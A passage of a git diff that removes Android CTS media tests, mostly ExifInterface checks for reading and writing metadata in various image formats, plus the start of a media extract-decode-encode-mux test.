-                assertEquals(expectedValue.xmpLength, xmpRange[1]);
-            }
-            final String xmp = new String(exifInterface.getAttributeBytes(ExifInterface.TAG_XMP),
-                    StandardCharsets.UTF_8);
-            // We're only interested in confirming that we were able to extract
-            // valid XMP data, which must always include this XML tag; a full
-            // XMP parser is beyond the scope of ExifInterface. See XMP
-            // Specification Part 1, Section C.2.2 for additional details.
-            if (!xmp.contains("<rdf:RDF")) {
-                fail("Invalid XMP: " + xmp);
-            }
-        } else {
-            assertNull(exifInterface.getAttributeRange(ExifInterface.TAG_XMP));
-        }
-    }
-
-    private void readFromStandaloneDataWithExif(String fileName, int typedArrayResourceId)
-            throws IOException {
-        ExpectedValue expectedValue = new ExpectedValue(
-                getContext().getResources().obtainTypedArray(typedArrayResourceId));
-
-        Preconditions.assertTestFileExists(mInpPrefix + fileName);
-        File imageFile = new File(mInpPrefix, fileName);
-        String verboseTag = imageFile.getName();
-
-        FileInputStream fis = new FileInputStream(imageFile);
-        // Skip the following marker bytes (0xff, 0xd8, 0xff, 0xe1)
-        fis.skip(4);
-        // Read the value of the length of the exif data
-        short length = readShort(fis);
-        byte[] exifBytes = new byte[length];
-        fis.read(exifBytes);
-
-        ByteArrayInputStream bin = new ByteArrayInputStream(exifBytes);
-        ExifInterface exifInterface =
-                new ExifInterface(bin, ExifInterface.STREAM_TYPE_EXIF_DATA_ONLY);
-        compareWithExpectedValue(exifInterface, expectedValue, verboseTag, true);
-    }
-
-    private void testExifInterfaceCommon(String fileName, ExpectedValue expectedValue)
-            throws IOException {
-        File imageFile = new File(mInpPrefix, fileName);
-        Preconditions.assertTestFileExists(mInpPrefix + fileName);
-        String verboseTag = imageFile.getName();
-
-        // Creates via path.
-        ExifInterface exifInterface = new ExifInterface(imageFile.getAbsolutePath());
-        assertNotNull(exifInterface);
-        compareWithExpectedValue(exifInterface, expectedValue, verboseTag, true);
-
-        // Creates via file.
-        exifInterface = new ExifInterface(imageFile);
-        compareWithExpectedValue(exifInterface, expectedValue, verboseTag, true);
-
-        InputStream in = null;
-        // Creates via InputStream.
-        try {
-            in = new BufferedInputStream(new FileInputStream(imageFile.getAbsolutePath()));
-            exifInterface = new ExifInterface(in);
-            compareWithExpectedValue(exifInterface, expectedValue, verboseTag, true);
-        } finally {
-            IoUtils.closeQuietly(in);
-        }
-
-        // Creates via FileDescriptor.
-        FileDescriptor fd = null;
-        try {
-            fd = Os.open(imageFile.getAbsolutePath(), OsConstants.O_RDONLY, 0600);
-            exifInterface = new ExifInterface(fd);
-            compareWithExpectedValue(exifInterface, expectedValue, verboseTag, true);
-        } catch (ErrnoException e) {
-            throw e.rethrowAsIOException();
-        } finally {
-            IoUtils.closeQuietly(fd);
-        }
-    }
-
-    private void testExifInterfaceRange(String fileName, ExpectedValue expectedValue)
-            throws IOException {
-        Preconditions.assertTestFileExists(mInpPrefix + fileName);
-        File imageFile = new File(mInpPrefix, fileName);
-        InputStream in = null;
-        try {
-            in = new BufferedInputStream(new FileInputStream(imageFile.getAbsolutePath()));
-            if (expectedValue.hasThumbnail) {
-                in.skip(expectedValue.thumbnailOffset);
-                byte[] thumbnailBytes = new byte[expectedValue.thumbnailLength];
-                if (in.read(thumbnailBytes) != expectedValue.thumbnailLength) {
-                    throw new IOException("Failed to read the expected thumbnail length");
-                }
-                // TODO: Need a way to check uncompressed thumbnail file
-                if (expectedValue.isThumbnailCompressed) {
-                    Bitmap thumbnailBitmap = BitmapFactory.decodeByteArray(thumbnailBytes, 0,
-                            thumbnailBytes.length);
-                    assertNotNull(thumbnailBitmap);
-                    assertEquals(expectedValue.thumbnailWidth, thumbnailBitmap.getWidth());
-                    assertEquals(expectedValue.thumbnailHeight, thumbnailBitmap.getHeight());
-                }
-            }
-            // TODO: Creating a new input stream is a temporary
-            //  workaround for BufferedInputStream#mark/reset not working properly for
-            //  LG_G4_ISO_800_DNG. Need to investigate cause.
-            in = new BufferedInputStream(new FileInputStream(imageFile.getAbsolutePath()));
-            if (expectedValue.hasMake) {
-                in.skip(expectedValue.makeOffset);
-                byte[] makeBytes = new byte[expectedValue.makeLength];
-                if (in.read(makeBytes) != expectedValue.makeLength) {
-                    throw new IOException("Failed to read the expected make length");
-                }
-                String makeString = new String(makeBytes);
-                // Remove null bytes
-                makeString = makeString.replaceAll("\u0000.*", "");
-                assertEquals(expectedValue.make, makeString.trim());
-            }
-            in = new BufferedInputStream(new FileInputStream(imageFile.getAbsolutePath()));
-            if (expectedValue.hasXmp) {
-                in.skip(expectedValue.xmpOffset);
-                byte[] identifierBytes = new byte[expectedValue.xmpLength];
-                if (in.read(identifierBytes) != expectedValue.xmpLength) {
-                    throw new IOException("Failed to read the expected xmp length");
-                }
-                final String xmpIdentifier = "<?xpacket begin=";
-                assertTrue(new String(identifierBytes, StandardCharsets.UTF_8)
-                        .startsWith(xmpIdentifier));
-            }
-            // TODO: Add code for retrieving raw latitude data using offset and length
-        } finally {
-            IoUtils.closeQuietly(in);
-        }
-    }
-
-    private void writeToFilesWithExif(String fileName, int typedArrayResourceId)
-            throws IOException {
-        ExpectedValue expectedValue = new ExpectedValue(
-                getContext().getResources().obtainTypedArray(typedArrayResourceId));
-
-        Preconditions.assertTestFileExists(mInpPrefix + fileName);
-        File srcFile = new File(mInpPrefix, fileName);
-        File imageFile = clone(srcFile);
-        String verboseTag = imageFile.getName();
-
-        ExifInterface exifInterface = new ExifInterface(imageFile.getAbsolutePath());
-        exifInterface.saveAttributes();
-        exifInterface = new ExifInterface(imageFile.getAbsolutePath());
-        compareWithExpectedValue(exifInterface, expectedValue, verboseTag, false);
-
-        // Test for modifying one attribute.
-        String backupValue = exifInterface.getAttribute(ExifInterface.TAG_MAKE);
-        exifInterface.setAttribute(ExifInterface.TAG_MAKE, "abc");
-        exifInterface.saveAttributes();
-        // Check if thumbnail offset and length are properly updated without parsing the data again.
-        if (expectedValue.hasThumbnail) {
-            testThumbnail(expectedValue, exifInterface);
-        }
-        exifInterface = new ExifInterface(imageFile.getAbsolutePath());
-        assertEquals("abc", exifInterface.getAttribute(ExifInterface.TAG_MAKE));
-        // Check if thumbnail bytes can be retrieved from the new thumbnail range.
-        if (expectedValue.hasThumbnail) {
-            testThumbnail(expectedValue, exifInterface);
-        }
-
-        // Restore the backup value.
-        exifInterface.setAttribute(ExifInterface.TAG_MAKE, backupValue);
-        exifInterface.saveAttributes();
-        exifInterface = new ExifInterface(imageFile.getAbsolutePath());
-        compareWithExpectedValue(exifInterface, expectedValue, verboseTag, false);
-
-        FileDescriptor fd = null;
-        try {
-            fd = Os.open(imageFile.getAbsolutePath(), OsConstants.O_RDWR, 0600);
-            exifInterface = new ExifInterface(fd);
-            exifInterface.saveAttributes();
-            Os.lseek(fd, 0, OsConstants.SEEK_SET);
-            exifInterface = new ExifInterface(fd);
-            compareWithExpectedValue(exifInterface, expectedValue, verboseTag, false);
-
-            // Test for modifying one attribute.
-            backupValue = exifInterface.getAttribute(ExifInterface.TAG_MAKE);
-            exifInterface.setAttribute(ExifInterface.TAG_MAKE, "abc");
-            exifInterface.saveAttributes();
-            // Check if thumbnail offset and length are properly updated without parsing the data
-            // again.
-            if (expectedValue.hasThumbnail) {
-                testThumbnail(expectedValue, exifInterface);
-            }
-            Os.lseek(fd, 0, OsConstants.SEEK_SET);
-            exifInterface = new ExifInterface(fd);
-            assertEquals("abc", exifInterface.getAttribute(ExifInterface.TAG_MAKE));
-            // Check if thumbnail bytes can be retrieved from the new thumbnail range.
-            if (expectedValue.hasThumbnail) {
-                testThumbnail(expectedValue, exifInterface);
-            }
-
-            // Restore the backup value.
-            exifInterface.setAttribute(ExifInterface.TAG_MAKE, backupValue);
-            exifInterface.saveAttributes();
-            Os.lseek(fd, 0, OsConstants.SEEK_SET);
-            exifInterface = new ExifInterface(fd);
-            compareWithExpectedValue(exifInterface, expectedValue, verboseTag, false);
-        } catch (ErrnoException e) {
-            throw e.rethrowAsIOException();
-        } finally {
-            IoUtils.closeQuietly(fd);
-        }
-        imageFile.delete();
-    }
-
-    private void readFromFilesWithExif(String fileName, int typedArrayResourceId)
-            throws IOException {
-        ExpectedValue expectedValue = new ExpectedValue(
-                getContext().getResources().obtainTypedArray(typedArrayResourceId));
-
-        testExifInterfaceCommon(fileName, expectedValue);
-
-        // Test for checking expected range by retrieving raw data with given offset and length.
-        testExifInterfaceRange(fileName, expectedValue);
-    }
-
-    private void writeToFilesWithoutExif(String fileName) throws IOException {
-        // Test for reading from external data storage.
-        Preconditions.assertTestFileExists(mInpPrefix + fileName);
-        File imageFile = clone(new File(mInpPrefix, fileName));
-
-        ExifInterface exifInterface = new ExifInterface(imageFile.getAbsolutePath());
-        exifInterface.setAttribute(ExifInterface.TAG_MAKE, "abc");
-        exifInterface.saveAttributes();
-
-        exifInterface = new ExifInterface(imageFile.getAbsolutePath());
-        String make = exifInterface.getAttribute(ExifInterface.TAG_MAKE);
-        assertEquals("abc", make);
-        imageFile.delete();
-    }
-
-    private void testThumbnail(ExpectedValue expectedValue, ExifInterface exifInterface) {
-        byte[] thumbnailBytes = exifInterface.getThumbnailBytes();
-        assertNotNull(thumbnailBytes);
-
-        // Note: NEF file (nikon_1aw1.nef) contains uncompressed thumbnail.
-        Bitmap thumbnailBitmap = exifInterface.getThumbnailBitmap();
-        assertNotNull(thumbnailBitmap);
-        assertEquals(expectedValue.thumbnailWidth, thumbnailBitmap.getWidth());
-        assertEquals(expectedValue.thumbnailHeight, thumbnailBitmap.getHeight());
-        assertEquals(expectedValue.isThumbnailCompressed, exifInterface.isThumbnailCompressed());
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder()
-                .detectUnbufferedIo()
-                .penaltyDeath()
-                .build());
-    }
-
-    public void testReadExifDataFromExifByteOrderIIJpeg() throws Throwable {
-        readFromFilesWithExif(JPEG_WITH_EXIF_BYTE_ORDER_II, R.array.jpeg_with_exif_byte_order_ii);
-        writeToFilesWithExif(JPEG_WITH_EXIF_BYTE_ORDER_II, R.array.jpeg_with_exif_byte_order_ii);
-    }
-
-    public void testReadExifDataFromExifByteOrderMMJpeg() throws Throwable {
-        readFromFilesWithExif(JPEG_WITH_EXIF_BYTE_ORDER_MM, R.array.jpeg_with_exif_byte_order_mm);
-        writeToFilesWithExif(JPEG_WITH_EXIF_BYTE_ORDER_MM, R.array.jpeg_with_exif_byte_order_mm);
-    }
-
-    public void testReadExifDataFromLgG4Iso800Dng() throws Throwable {
-        readFromFilesWithExif(DNG_WITH_EXIF_WITH_XMP, R.array.dng_with_exif_with_xmp);
-    }
-
-    public void testReadExifDataFromLgG4Iso800Jpg() throws Throwable {
-        readFromFilesWithExif(JPEG_WITH_EXIF_WITH_XMP, R.array.jpeg_with_exif_with_xmp);
-        writeToFilesWithExif(JPEG_WITH_EXIF_WITH_XMP, R.array.jpeg_with_exif_with_xmp);
-    }
-
-    public void testDoNotFailOnCorruptedImage() throws Throwable {
-        // To keep the compatibility with old versions of ExifInterface, even on a corrupted image,
-        // it shouldn't raise any exceptions except an IOException when unable to open a file.
-        byte[] bytes = new byte[1024];
-        try {
-            new ExifInterface(new ByteArrayInputStream(bytes));
-            // Always success
-        } catch (IOException e) {
-            fail("Should not reach here!");
-        }
-    }
-
-    public void testReadExifDataFromVolantisJpg() throws Throwable {
-        // Test if it is possible to parse the volantis generated JPEG smoothly.
-        readFromFilesWithExif(JPEG_VOLANTIS, R.array.volantis_jpg);
-        writeToFilesWithExif(JPEG_VOLANTIS, R.array.volantis_jpg);
-    }
-
-    public void testReadExifDataFromSonyRX100Arw() throws Throwable {
-        readFromFilesWithExif(ARW_SONY_RX_100, R.array.sony_rx_100_arw);
-    }
-
-    public void testReadExifDataFromCanonG7XCr2() throws Throwable {
-        readFromFilesWithExif(CR2_CANON_G7X, R.array.canon_g7x_cr2);
-    }
-
-    public void testReadExifDataFromFujiX20Raf() throws Throwable {
-        readFromFilesWithExif(RAF_FUJI_X20, R.array.fuji_x20_raf);
-    }
-
-    public void testReadExifDataFromNikon1AW1Nef() throws Throwable {
-        readFromFilesWithExif(NEF_NIKON_1AW1, R.array.nikon_1aw1_nef);
-    }
-
-    public void testReadExifDataFromNikonP330Nrw() throws Throwable {
-        readFromFilesWithExif(NRW_NIKON_P330, R.array.nikon_p330_nrw);
-    }
-
-    public void testReadExifDataFromOlympusEPL3Orf() throws Throwable {
-        readFromFilesWithExif(ORF_OLYMPUS_E_PL3, R.array.olympus_e_pl3_orf);
-    }
-
-    public void testReadExifDataFromPanasonicGM5Rw2() throws Throwable {
-        readFromFilesWithExif(RW2_PANASONIC_GM5, R.array.panasonic_gm5_rw2);
-    }
-
-    public void testReadExifDataFromPentaxK5Pef() throws Throwable {
-        readFromFilesWithExif(PEF_PENTAX_K5, R.array.pentax_k5_pef);
-    }
-
-    public void testReadExifDataFromSamsungNX3000Srw() throws Throwable {
-        readFromFilesWithExif(SRW_SAMSUNG_NX3000, R.array.samsung_nx3000_srw);
-    }
-
-    public void testPngFiles() throws Throwable {
-        readFromFilesWithExif(PNG_WITH_EXIF_BYTE_ORDER_II, R.array.png_with_exif_byte_order_ii);
-        writeToFilesWithoutExif(PNG_WITHOUT_EXIF);
-    }
-
-    public void testStandaloneData() throws Throwable {
-        readFromStandaloneDataWithExif(JPEG_WITH_EXIF_BYTE_ORDER_II,
-                R.array.standalone_data_with_exif_byte_order_ii);
-        readFromStandaloneDataWithExif(JPEG_WITH_EXIF_BYTE_ORDER_MM,
-                R.array.standalone_data_with_exif_byte_order_mm);
-    }
-
-    public void testWebpFiles() throws Throwable {
-        readFromFilesWithExif(WEBP_WITH_EXIF, R.array.webp_with_exif);
-        writeToFilesWithExif(WEBP_WITH_EXIF, R.array.webp_with_exif);
-        writeToFilesWithoutExif(WEBP_WITHOUT_EXIF_WITH_ANIM_DATA);
-        writeToFilesWithoutExif(WEBP_WITHOUT_EXIF);
-        writeToFilesWithoutExif(WEBP_WITHOUT_EXIF_WITH_LOSSLESS_ENCODING);
-    }
-
-    public void testGetSetDateTime() throws Throwable {
-        final long expectedDatetimeValue = 1454059947000L;
-        final String dateTimeValue = "2017:02:02 22:22:22";
-        final String dateTimeOriginalValue = "2017:01:01 11:11:11";
-
-        Preconditions.assertTestFileExists(mInpPrefix + JPEG_WITH_DATETIME_TAG);
-        File srcFile = new File(mInpPrefix, JPEG_WITH_DATETIME_TAG);
-        File imageFile = clone(srcFile);
-
-        ExifInterface exif = new ExifInterface(imageFile.getAbsolutePath());
-        assertEquals(expectedDatetimeValue, exif.getDateTime());
-        assertEquals(expectedDatetimeValue, exif.getDateTimeOriginal());
-        assertEquals(expectedDatetimeValue, exif.getDateTimeDigitized());
-        assertEquals(expectedDatetimeValue, exif.getGpsDateTime());
-
-        exif.setAttribute(ExifInterface.TAG_DATETIME, dateTimeValue);
-        exif.setAttribute(ExifInterface.TAG_DATETIME_ORIGINAL, dateTimeOriginalValue);
-        exif.saveAttributes();
-
-        // Check that the DATETIME value is not overwritten by DATETIME_ORIGINAL's value.
-        exif = new ExifInterface(imageFile.getAbsolutePath());
-        assertEquals(dateTimeValue, exif.getAttribute(ExifInterface.TAG_DATETIME));
-        assertEquals(dateTimeOriginalValue, exif.getAttribute(ExifInterface.TAG_DATETIME_ORIGINAL));
-
-        // Now remove the DATETIME value.
-        exif.setAttribute(ExifInterface.TAG_DATETIME, null);
-        exif.saveAttributes();
-
-        // When the DATETIME has no value, then it should be set to DATETIME_ORIGINAL's value.
-        exif = new ExifInterface(imageFile.getAbsolutePath());
-        assertEquals(dateTimeOriginalValue, exif.getAttribute(ExifInterface.TAG_DATETIME));
-        imageFile.delete();
-    }
-
-    public void testIsSupportedMimeType() {
-        try {
-            ExifInterface.isSupportedMimeType(null);
-            fail();
-        } catch (NullPointerException e) {
-            // expected
-        }
-        assertTrue(ExifInterface.isSupportedMimeType("image/jpeg"));
-        assertTrue(ExifInterface.isSupportedMimeType("image/x-adobe-dng"));
-        assertTrue(ExifInterface.isSupportedMimeType("image/x-canon-cr2"));
-        assertTrue(ExifInterface.isSupportedMimeType("image/x-nikon-nef"));
-        assertTrue(ExifInterface.isSupportedMimeType("image/x-nikon-nrw"));
-        assertTrue(ExifInterface.isSupportedMimeType("image/x-sony-arw"));
-        assertTrue(ExifInterface.isSupportedMimeType("image/x-panasonic-rw2"));
-        assertTrue(ExifInterface.isSupportedMimeType("image/x-olympus-orf"));
-        assertTrue(ExifInterface.isSupportedMimeType("image/x-pentax-pef"));
-        assertTrue(ExifInterface.isSupportedMimeType("image/x-samsung-srw"));
-        assertTrue(ExifInterface.isSupportedMimeType("image/x-fuji-raf"));
-        assertTrue(ExifInterface.isSupportedMimeType("image/heic"));
-        assertTrue(ExifInterface.isSupportedMimeType("image/heif"));
-        assertTrue(ExifInterface.isSupportedMimeType("image/png"));
-        assertTrue(ExifInterface.isSupportedMimeType("image/webp"));
-        assertFalse(ExifInterface.isSupportedMimeType("image/gif"));
-    }
-
-    public void testSetAttribute() throws Throwable {
-        Preconditions.assertTestFileExists(mInpPrefix + JPEG_WITH_EXIF_BYTE_ORDER_MM);
-        File srcFile = new File(mInpPrefix, JPEG_WITH_EXIF_BYTE_ORDER_MM);
-        File imageFile = clone(srcFile);
-
-        ExifInterface exif = new ExifInterface(imageFile.getAbsolutePath());
-        try {
-            exif.setAttribute(null, null);
-            fail();
-        } catch (NullPointerException e) {
-            // expected
-        }
-
-        // Test setting tag to null
-        assertNotNull(exif.getAttribute(ExifInterface.TAG_GPS_TIMESTAMP));
-        exif.setAttribute(ExifInterface.TAG_GPS_TIMESTAMP, null);
-        assertNull(exif.getAttribute(ExifInterface.TAG_GPS_TIMESTAMP));
-
-        // Test tags that are converted to rational values for compatibility:
-        // 1. GpsTimeStamp tag will be converted to rational in setAttribute and converted back to
-        // timestamp format in getAttribute.
-        String validGpsTimeStamp = "11:11:11";
-        exif.setAttribute(ExifInterface.TAG_GPS_TIMESTAMP, validGpsTimeStamp);
-        assertEquals(validGpsTimeStamp, exif.getAttribute(ExifInterface.TAG_GPS_TIMESTAMP));
-        // Check that invalid format is not set
-        String invalidGpsTimeStamp = "11:11:11:11";
-        exif.setAttribute(ExifInterface.TAG_GPS_TIMESTAMP, invalidGpsTimeStamp);
-        assertEquals(validGpsTimeStamp, exif.getAttribute(ExifInterface.TAG_GPS_TIMESTAMP));
-
-        // 2. FNumber tag will be converted to rational in setAttribute and converted back to
-        // double value in getAttribute
-        String validFNumber = "2.4";
-        exif.setAttribute(ExifInterface.TAG_F_NUMBER, validFNumber);
-        assertEquals(validFNumber, exif.getAttribute(ExifInterface.TAG_F_NUMBER));
-        // Check that invalid format is not set
-        String invalidFNumber = "invalid format";
-        exif.setAttribute(ExifInterface.TAG_F_NUMBER, invalidFNumber);
-        assertEquals(validFNumber, exif.getAttribute(ExifInterface.TAG_F_NUMBER));
-
-        // Test writing different types of formats:
-        // 1. Byte format tag
-        String gpsVersionId = "2.3.0.0";
-        exif.setAttribute(ExifInterface.TAG_GPS_VERSION_ID, gpsVersionId);
-        byte[] setGpsVersionIdBytes =
-                exif.getAttribute(ExifInterface.TAG_GPS_VERSION_ID).getBytes();
-        for (int i = 0; i < setGpsVersionIdBytes.length; i++) {
-            assertEquals(gpsVersionId.getBytes()[i], setGpsVersionIdBytes[i]);
-        }
-        // Test TAG_GPS_ALTITUDE_REF, which is an exceptional case since the only valid values are
-        // "0" and "1".
-        String gpsAltitudeRef = "1";
-        exif.setAttribute(ExifInterface.TAG_GPS_ALTITUDE_REF, gpsAltitudeRef);
-        assertEquals(gpsAltitudeRef.getBytes()[0],
-                exif.getAttribute(ExifInterface.TAG_GPS_ALTITUDE_REF).getBytes()[0]);
-
-        // 2. String format tag
-        String makeValue = "MakeTest";
-        exif.setAttribute(ExifInterface.TAG_MAKE, makeValue);
-        assertEquals(makeValue, exif.getAttribute(ExifInterface.TAG_MAKE));
-        // Check that the following values are not parsed as rational values
-        String makeValueWithOneSlash = "Make/Test";
-        exif.setAttribute(ExifInterface.TAG_MAKE, makeValueWithOneSlash);
-        assertEquals(makeValueWithOneSlash, exif.getAttribute(ExifInterface.TAG_MAKE));
-        String makeValueWithTwoSlashes = "Make/Test/Test";
-        exif.setAttribute(ExifInterface.TAG_MAKE, makeValueWithTwoSlashes);
-        assertEquals(makeValueWithTwoSlashes, exif.getAttribute(ExifInterface.TAG_MAKE));
-        // When a value has a comma, it should be parsed as a string if any of the values before or
-        // after the comma is a string.
-        int defaultValue = -1;
-        String makeValueWithCommaType1 = "Make,2";
-        exif.setAttribute(ExifInterface.TAG_MAKE, makeValueWithCommaType1);
-        assertEquals(makeValueWithCommaType1, exif.getAttribute(ExifInterface.TAG_MAKE));
-        // Make sure that it's not stored as an integer value.
-        assertEquals(defaultValue, exif.getAttributeInt(ExifInterface.TAG_MAKE, defaultValue));
-        String makeValueWithCommaType2 = "2,Make";
-        exif.setAttribute(ExifInterface.TAG_MAKE, makeValueWithCommaType2);
-        assertEquals(makeValueWithCommaType2, exif.getAttribute(ExifInterface.TAG_MAKE));
-        // Make sure that it's not stored as an integer value.
-        assertEquals(defaultValue, exif.getAttributeInt(ExifInterface.TAG_MAKE, defaultValue));
-
-        // 3. Unsigned short format tag
-        String isoSpeedRatings = "800";
-        exif.setAttribute(ExifInterface.TAG_ISO_SPEED_RATINGS, isoSpeedRatings);
-        assertEquals(isoSpeedRatings, exif.getAttribute(ExifInterface.TAG_ISO_SPEED_RATINGS));
-        // When a value has multiple components, all of them should be of the format that the tag
-        // supports. Thus, the following values (SHORT,LONG) should not be set since TAG_COMPRESSION
-        // only allows short values.
-        assertNull(exif.getAttribute(ExifInterface.TAG_COMPRESSION));
-        String invalidMultipleComponentsValueType1 = "1,65536";
-        exif.setAttribute(ExifInterface.TAG_COMPRESSION, invalidMultipleComponentsValueType1);
-        assertNull(exif.getAttribute(ExifInterface.TAG_COMPRESSION));
-        String invalidMultipleComponentsValueType2 = "65536,1";
-        exif.setAttribute(ExifInterface.TAG_COMPRESSION, invalidMultipleComponentsValueType2);
-        assertNull(exif.getAttribute(ExifInterface.TAG_COMPRESSION));
-
-        // 4. Unsigned long format tag
-        String validImageWidthValue = "65536"; // max unsigned short value + 1
-        exif.setAttribute(ExifInterface.TAG_IMAGE_WIDTH, validImageWidthValue);
-        assertEquals(validImageWidthValue, exif.getAttribute(ExifInterface.TAG_IMAGE_WIDTH));
-        String invalidImageWidthValue = "-65536";
-        exif.setAttribute(ExifInterface.TAG_IMAGE_WIDTH, invalidImageWidthValue);
-        assertEquals(validImageWidthValue, exif.getAttribute(ExifInterface.TAG_IMAGE_WIDTH));
-
-        // 5. Unsigned rational format tag
-        String exposureTime = "1/8";
-        exif.setAttribute(ExifInterface.TAG_APERTURE_VALUE, exposureTime);
-        assertEquals(exposureTime, exif.getAttribute(ExifInterface.TAG_APERTURE_VALUE));
-
-        // 6. Signed rational format tag
-        String brightnessValue = "-220/100";
-        exif.setAttribute(ExifInterface.TAG_BRIGHTNESS_VALUE, brightnessValue);
-        assertEquals(brightnessValue, exif.getAttribute(ExifInterface.TAG_BRIGHTNESS_VALUE));
-
-        // 7. Undefined format tag
-        String userComment = "UserCommentTest";
-        exif.setAttribute(ExifInterface.TAG_USER_COMMENT, userComment);
-        assertEquals(userComment, exif.getAttribute(ExifInterface.TAG_USER_COMMENT));
-
-        imageFile.delete();
-    }
-
-    public void testGetAttributeForNullAndNonExistentTag() throws Throwable {
-        // JPEG_WITH_EXIF_BYTE_ORDER_MM does not have a value for TAG_SUBJECT_AREA tag.
-        Preconditions.assertTestFileExists(mInpPrefix + JPEG_WITH_EXIF_BYTE_ORDER_MM);
-        File srcFile = new File(mInpPrefix, JPEG_WITH_EXIF_BYTE_ORDER_MM);
-        File imageFile = clone(srcFile);
-
-        ExifInterface exif = new ExifInterface(imageFile.getAbsolutePath());
-        try {
-            exif.getAttribute(null);
-            fail();
-        } catch (NullPointerException e) {
-            // expected
-        }
-        assertNull(exif.getAttribute(TAG_SUBJECT_AREA));
-
-        int defaultValue = -1;
-        try {
-            exif.getAttributeInt(null, defaultValue);
-            fail();
-        } catch (NullPointerException e) {
-            // expected
-        }
-        assertEquals(defaultValue, exif.getAttributeInt(TAG_SUBJECT_AREA, defaultValue));
-
-        try {
-            exif.getAttributeDouble(null, defaultValue);
-            fail();
-        } catch (NullPointerException e) {
-            // expected
-        }
-        assertEquals(defaultValue, exif.getAttributeInt(TAG_SUBJECT_AREA, defaultValue));
-
-        try {
-            exif.getAttributeBytes(null);
-            fail();
-        } catch (NullPointerException e) {
-            // expected
-        }
-        assertNull(exif.getAttributeBytes(TAG_SUBJECT_AREA));
-    }
-
-    private static File clone(File original) throws IOException {
-        final File cloned =
-                File.createTempFile("cts_", +System.nanoTime() + "_" + original.getName());
-        FileUtils.copyFileOrThrow(original, cloned);
-        return cloned;
-    }
-
-    private short readShort(InputStream is) throws IOException {
-        int ch1 = is.read();
-        int ch2 = is.read();
-        if ((ch1 | ch2) < 0) {
-            throw new EOFException();
-        }
-        return (short) ((ch1 << 8) + (ch2));
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/ExtractDecodeEditEncodeMuxTest.java b/tests/tests/media/src/android/media/cts/ExtractDecodeEditEncodeMuxTest.java
deleted file mode 100644
index a1a8150..0000000
--- a/tests/tests/media/src/android/media/cts/ExtractDecodeEditEncodeMuxTest.java
+++ /dev/null
@@ -1,1239 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.annotation.TargetApi;
-import android.content.res.AssetFileDescriptor;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecInfo.CodecProfileLevel;
-import android.media.MediaCodecList;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.media.MediaMuxer;
-import android.media.MediaPlayer;
-import android.os.Environment;
-import android.os.ParcelFileDescriptor;
-import android.platform.test.annotations.AppModeFull;
-import android.test.ActivityInstrumentationTestCase2;
-import android.util.Log;
-import android.view.Surface;
-
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecInfo.CodecProfileLevel;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-import java.nio.ByteBuffer;
-import java.util.concurrent.atomic.AtomicReference;
-import java.util.concurrent.CountDownLatch;
-
-/**
- * Test for the integration of MediaMuxer and MediaCodec's encoder.
- *
- * <p>It uses MediaExtractor to get frames from a test stream, decodes them to a surface, uses a
- * shader to edit them, encodes them from the resulting surface, and then uses MediaMuxer to write
- * them into a file.
- *
- * <p>It does not currently check whether the result file is correct, but makes sure that nothing
- * fails along the way.
- *
- * <p>It also tests the way the codec config buffers need to be passed from the MediaCodec to the
- * MediaMuxer.
- */
-@TargetApi(18)
-@AppModeFull(reason = "Instant apps cannot access the SD card")
-public class ExtractDecodeEditEncodeMuxTest
-        extends ActivityInstrumentationTestCase2<MediaStubActivity> {
-
-    private static final String TAG = ExtractDecodeEditEncodeMuxTest.class.getSimpleName();
-    private static final boolean VERBOSE = false; // lots of logging
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-
-    /** How long to wait for the next buffer to become available. */
-    private static final int TIMEOUT_USEC = 10000;
-
-    /** Where to output the test files. */
-    private static final File OUTPUT_FILENAME_DIR = Environment.getExternalStorageDirectory();
-
-    // parameters for the video encoder
-    private static final int OUTPUT_VIDEO_BIT_RATE = 2000000;   // 2Mbps
-    private static final int OUTPUT_VIDEO_FRAME_RATE = 15;      // 15fps
-    private static final int OUTPUT_VIDEO_IFRAME_INTERVAL = 10; // 10 seconds between I-frames
-    private static final int OUTPUT_VIDEO_COLOR_FORMAT =
-            MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface;
-
-    // parameters for the audio encoder
-                                                                // Advanced Audio Coding
-    private static final String OUTPUT_AUDIO_MIME_TYPE = MediaFormat.MIMETYPE_AUDIO_AAC;
-    private static final int OUTPUT_AUDIO_CHANNEL_COUNT = 2;    // Must match the input stream.
-    private static final int OUTPUT_AUDIO_BIT_RATE = 128 * 1024;
-    private static final int OUTPUT_AUDIO_AAC_PROFILE =
-            MediaCodecInfo.CodecProfileLevel.AACObjectHE;
-    private static final int OUTPUT_AUDIO_SAMPLE_RATE_HZ = 44100; // Must match the input stream.
-
-    /**
-     * Used for editing the frames.
-     *
-     * <p>Swaps green and blue channels by storing an RBGA color in an RGBA buffer.
-     */
-    private static final String FRAGMENT_SHADER =
-            "#extension GL_OES_EGL_image_external : require\n" +
-            "precision mediump float;\n" +
-            "varying vec2 vTextureCoord;\n" +
-            "uniform samplerExternalOES sTexture;\n" +
-            "void main() {\n" +
-            "  gl_FragColor = texture2D(sTexture, vTextureCoord).rbga;\n" +
-            "}\n";
-
-    /** Whether to copy the video from the test video. */
-    private boolean mCopyVideo;
-    /** Whether to copy the audio from the test video. */
-    private boolean mCopyAudio;
-    /** Whether to verify the audio format. */
-    private boolean mVerifyAudioFormat;
-    /** Width of the output frames. */
-    private int mWidth = -1;
-    /** Height of the output frames. */
-    private int mHeight = -1;
-
-    /** The raw resource used as the input file. */
-    private String mSourceRes;
-
-    /** The destination file for the encoded output. */
-    private String mOutputFile;
-
